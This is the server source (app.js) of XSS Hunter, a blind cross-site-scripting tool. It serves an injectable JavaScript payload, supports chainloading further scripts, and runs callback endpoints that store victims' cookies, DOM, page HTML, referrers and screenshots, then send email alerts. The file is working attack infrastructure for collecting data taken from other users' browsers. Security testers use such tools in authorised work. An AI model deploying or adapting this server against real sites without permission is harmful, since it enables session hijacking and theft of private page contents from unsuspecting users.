xsshunter/app.js

const bodyParser = require('body-parser');
const express = require('express');
const fs = require('fs');
const zlib = require('zlib');
const path = require('path');
const asyncfs = require('fs').promises;
const uuid = require('uuid');
const database = require('./database.js');
const Settings = database.Settings;
const PayloadFireResults = database.PayloadFireResults;
const CollectedPages = database.CollectedPages;
const InjectionRequests = database.InjectionRequests;
const sequelize = database.sequelize;
const notification = require('./notification.js');
const api = require('./api.js');
const validate = require('express-jsonschema').validate;
const constants = require('./constants.js');

function set_secure_headers(req, res) {
	res.set("X-XSS-Protection", "mode=block");
	res.set("X-Content-Type-Options", "nosniff");
	res.set("X-Frame-Options", "deny");

	if (req.path.startsWith(constants.API_BASE_PATH)) {
		res.set("Content-Security-Policy", "default-src 'none'; script-src 'none'");
		res.set("Content-Type", "application/json");
		return
	}
}

async function check_file_exists(file_path) {
	return asyncfs.access(file_path, fs.constants.F_OK).then(() => {
		return true;
	}).catch(() => {
		return false;
	});
}

// Load XSS payload from file into memory
const XSS_PAYLOAD = fs.readFileSync(
	'./probe.js',
	'utf8'
);

var multer = require('multer');
var upload = multer({ dest: '/tmp/' })
const SCREENSHOTS_DIR = path.resolve(process.env.SCREENSHOTS_DIR);
const SCREENSHOT_FILENAME_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}\.png$/i);

async function get_app_server() {
	const app = express();

	// I have a question for Express:
	// https://youtu.be/ZtjFsQBuJWw?t=4
	app.set('case sensitive routing', true);

    // Making 100% sure this works like it should
    // https://youtu.be/aCbfMkh940Q?t=6
    app.use(async function(req, res, next) {
		if(req.path.toLowerCase() === req.path) {
			next();
			return
		}

		res.status(401).json({
			"success": false,
			"error": "No.",
			"code": "WHY_ARE_YOU_SHOUTING"
		}).end();
    });

	app.use(bodyParser.json());

    // Set security-related headers on requests
    app.use(async function(req, res, next) {
    	set_secure_headers(req, res);
    	next();
    });

    // Handler for HTML pages collected by payloads
    const CollectedPagesCallbackSchema = {
    	"type": "object",
    	"properties": {
    		"uri": {
    			"type": "string",
    			"default": ""
    		},
    		"html": {
    			"type": "string",
    			"default": "" 
    		},
    	}
    };
    app.post('/page_callback', upload.none(), validate({body: CollectedPagesCallbackSchema}), async (req, res) => {
		res.set("Access-Control-Allow-Origin", "*");
		res.set("Access-Control-Allow-Methods", "POST, OPTIONS");
		res.set("Access-Control-Allow-Headers", "Content-Type, X-Requested-With");
		res.set("Access-Control-Max-Age", "86400");

		const page_insert_response = await CollectedPages.create({
			id: uuid.v4(),
			uri: req.body.uri,
			html: req.body.html,
		});

		// Send the response immediately, they don't need to wait for us to store everything.
		res.status(200).json({
			"status": "success"
		}).end();
	});

    // Handler for XSS payload data to be received
    const JSCallbackSchema = {
    	"type": "object",
    	"properties": {
    		"uri": {
    			"type": "string",
    			"default": ""
    		},
    		"cookies": {
    			"type": "string",
    			"default": ""
    		},
    		"referrer": {
    			"type": "string",
    			"default": ""
    		},
    		"user-agent": {
    			"type": "string",
    			"default": ""
    		},
    		"browser-time": {
    			"type": "string",
    			"default": "0",
    			"pattern": "^\\d+$"
    		},
    		"probe-uid": {
    			"type": "string",
    			"default": ""
    		},
    		"origin": {
    			"type": "string",
    			"default": ""
    		},
    		"injection_key": {
    			"type": "string",
    			"default": ""
    		},
    		"title": {
    			"type": "string",
    			"default": ""
    		},
    		"text": {
    			"type": "string",
    			"default": ""
    		},
    		"was_iframe": {
    			"type": "string",
    			"default": "false",
    			"enum": ["true", "false"]
    		},
    		"dom": {
    			"type": "string",
    			"default": ""
    		}
    	}
    };
    app.post('/js_callback', upload.single('screenshot'), validate({body: JSCallbackSchema}), async (req, res) => {
		res.set("Access-Control-Allow-Origin", "*");
		res.set("Access-Control-Allow-Methods", "POST, OPTIONS");
		res.set("Access-Control-Allow-Headers", "Content-Type, X-Requested-With");
		res.set("Access-Control-Max-Age", "86400");

		// Send the response immediately, they don't need to wait for us to store everything.
		res.status(200).json({
			"status": "success"
		}).end();

    	// Multer stores the image in the /tmp/ dir. We use this source image
    	// to write a gzipped version in the user-provided dir and then delete
    	// the original uncompressed image.
    	const payload_fire_image_id = uuid.v4();
    	const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`;
    	const multer_temp_image_path = req.file.path;

    	// We also gzip the image so we don't waste disk space
    	const gzip = zlib.createGzip();
    	const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
    	const input_read_stream = fs.createReadStream(multer_temp_image_path);

    	// When the "finish" event is called we delete the original
    	// uncompressed image file left behind by multer.
    	input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
    		if(error) {
    			console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
    			console.error(error);
    		}

    		console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);

    		await asyncfs.unlink(multer_temp_image_path);
    	});

    	const payload_fire_id = uuid.v4();
		var payload_fire_data = {
			id: payload_fire_id,
			url: req.body.uri,
			ip_address: req.connection.remoteAddress.toString(),
			referer: req.body.referrer,
			user_agent: req.body['user-agent'],
			cookies: req.body.cookies,
			title: req.body.title,
			dom: req.body.dom,
			text: req.body.text,
			origin: req.body.origin,
			screenshot_id: payload_fire_image_id,
			was_iframe: (req.body.was_iframe === 'true'),
			browser_timestamp: parseInt(req.body['browser-time']),
            correlated_request: 'No correlated request found for this injection.',
		}

        // Check for correlated request
        const correlated_request_rec = await InjectionRequests.findOne({
            where: {
                injection_key: req.body.injection_key
            }
        });

        if(correlated_request_rec) {
            payload_fire_data.correlated_request = correlated_request_rec.request;
        }

		// Store payload fire results in the database
		const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);

		// Send out notification via configured notification channel
		if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
			payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
			await notification.send_email_notification(payload_fire_data);
		}
	});

	app.get('/screenshots/:screenshotFilename', async (req, res) => {
		const screenshot_filename = req.params.screenshotFilename;

		// Come correct or don't come at all.
		if(!SCREENSHOT_FILENAME_REGEX.test(screenshot_filename)) {
			return res.sendStatus(404);
		}

		const gz_image_path = `${SCREENSHOTS_DIR}/${screenshot_filename}.gz`;
		
		const image_exists = await check_file_exists(gz_image_path);

		if(!image_exists) {
			return res.sendStatus(404);
		}

		// Return the gzipped image file with the appropriate
		// Content-Encoding header, should be widely supported.
		res.sendFile(gz_image_path, {
			// Why leak anything you don't have to?
			lastModified: false,
			acceptRanges: false,
			cacheControl: true,
			headers: {
				"Content-Type": "image/png",
				"Content-Encoding": "gzip"
			}
		})
	});

    // Set up /health handler so the user can
    // do uptime checks and appropriate alerting.
    app.get('/health', async (req, res) => {
    	try {
    		await sequelize.authenticate();
    		res.status(200).json({
    			"status": "ok"
    		}).end();
    	} catch (error) {
    		console.error('An error occurred when testing the database connection (/health):', error);
    		res.status(500).json({
    			"status": "error"
    		}).end();
    	}
    });

    const payload_handler = async (req, res) => {
        res.set("Content-Security-Policy", "default-src 'none'; script-src 'none'");
        res.set("Content-Type", "application/javascript");
        res.set("Access-Control-Allow-Origin", "*");
        res.set("Access-Control-Allow-Methods", "GET, OPTIONS");
        res.set("Access-Control-Allow-Headers", "Content-Type, X-Requested-With");
        res.set("Access-Control-Max-Age", "86400");

        const db_promises = [
            Settings.findOne({
                where: {
                    key: constants.PAGES_TO_COLLECT_SETTINGS_KEY,
                }
            }),
            Settings.findOne({
                where: {
                    key: constants.CHAINLOAD_URI_SETTINGS_KEY,
                }
            }),
        ];
        const db_results = await Promise.all(db_promises);
        const pages_to_collect = (db_results[0] === null) ? [] : JSON.parse(db_results[0].value);
        const chainload_uri = (db_results[1] === null) ? '' : db_results[1].value;

        res.send(XSS_PAYLOAD.replace(
            /\[HOST_URL\]/g,
            `https://${process.env.HOSTNAME}`
        ).replace(
            '[COLLECT_PAGE_LIST_REPLACE_ME]',
            JSON.stringify(pages_to_collect)
        ).replace(
            '[CHAINLOAD_REPLACE_ME]',
            JSON.stringify(chainload_uri)
        ).replace(
            '[PROBE_ID]',
            JSON.stringify(req.params.probe_id)
        ));
    };

    // Handler that returns the XSS payload at the base path
    app.get('/', payload_handler);

    /*
		Enabling the web control panel is 100% optional. This can be
		enabled with the "CONTROL_PANEL_ENABLED" environment variable.

		However, if the user just wants alerts on payload firing then
		they can disable the web control panel to reduce attack surface.
	*/
	if(process.env.CONTROL_PANEL_ENABLED === 'true') {
        // Enable API and static asset serving.
        await api.set_up_api_server(app);
	} else {
        console.log(`[INFO] Control panel NOT enabled. Not serving API or GUI server, only acting as a notification server...`);
    }

    app.get('/:probe_id', payload_handler);

    return app;
}

module.exports = get_app_server;